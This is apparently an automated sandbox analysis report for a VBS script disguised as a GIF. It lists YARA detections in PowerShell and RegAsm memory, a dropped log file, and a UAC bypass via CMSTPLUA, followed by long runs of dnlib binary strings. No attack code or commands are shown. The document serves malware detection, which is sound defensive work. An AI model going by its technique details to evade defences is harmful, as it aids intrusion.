Windows Analysis Report
screensimplethingstohandlecream.gIF.vbs

AI detected suspicious sample

Source: Yara match	File source: 3.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.powershell.exe.1f163071700.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.powershell.exe.1f163071700.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.2929959756.0000000000F5A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1760253899.000001F161F90000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2928318861.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1760253899.000001F162D9C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6744, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 1344, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\Notepo\logs.dat, type: DROPPED

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_00433837 CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,

3_2_00433837

Source: powershell.exe, 00000001.00000002.1760253899.000001F162D9C000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_a5bcc00a-f

Exploits

Yara detected UAC Bypass using CMSTP

Source: Yara match	File source: 3.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.powershell.exe.1f163071700.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.powershell.exe.1f163071700.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.1760253899.000001F161F90000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2928318861.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1760253899.000001F162D9C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6744, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 1344, type: MEMORYSTR

Privilege Escalation

Contains functionality to bypass UAC (CMSTPLUA)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_004074FD _wcslen,CoGetObject,

3_2_004074FD

Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetHandler source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMemberRefProps source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeRefs source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetParent source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.ApplyEditAndContinue source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.Current source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineModuleRef source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNameFromToken source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteFieldMarshal source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindField source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMembers source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteClassLayout source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.IsValidToken source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.Merge source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMemberRef source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetParamProps source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetParamProps source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetSaveSize source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindTypeRef source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.ResetEnum source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumProperties source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMethodProps source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMembersWithName source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetCustomAttributeValue source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineCustomAttribute source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodImpls source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineEvent source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetCustomAttributeByName source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMethod source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.TranslateSigWithScope source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineUserString source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.Save source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeSpecFromToken source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPermissionSetProps source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNativeCallConvFromSig source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.CountEnum source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodSemantics source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumFields source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethods source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeRefProps source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetSigFromToken source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeSpecs source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.CloseEnum source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetModuleRefProps source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SaveToMemory source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineTypeRefByName source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetScopeProps source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMember source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPropertyProps source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumParams source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.MergeEnd source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetEventProps source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumCustomAttributes source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldProps source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumModuleRefs source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.get_Current source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetCustomAttributeProps source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetFieldProps source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineParam source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteToken source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetClassLayout source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineNestedType source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumUnresolvedMethods source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumPermissionSets source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Managed source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetRVA source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetModuleFromScope source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMethodImpl source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefinePinvokeMap source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineSecurityAttributeSet source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetClassLayout source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMemberRef source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPermissionSetProps source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetTypeDefProps source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineProperty source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldRVA source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindTypeDefByName source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetModuleProps source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumFieldsWithName source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMemberRefs source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.ResolveTypeRef source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SaveToStream source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMethodSemantics source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeDefProps source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMethod source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNestedClassProps source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeletePinvokeMap source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetTokenFromTypeSpec source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetMethodImplFlags source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
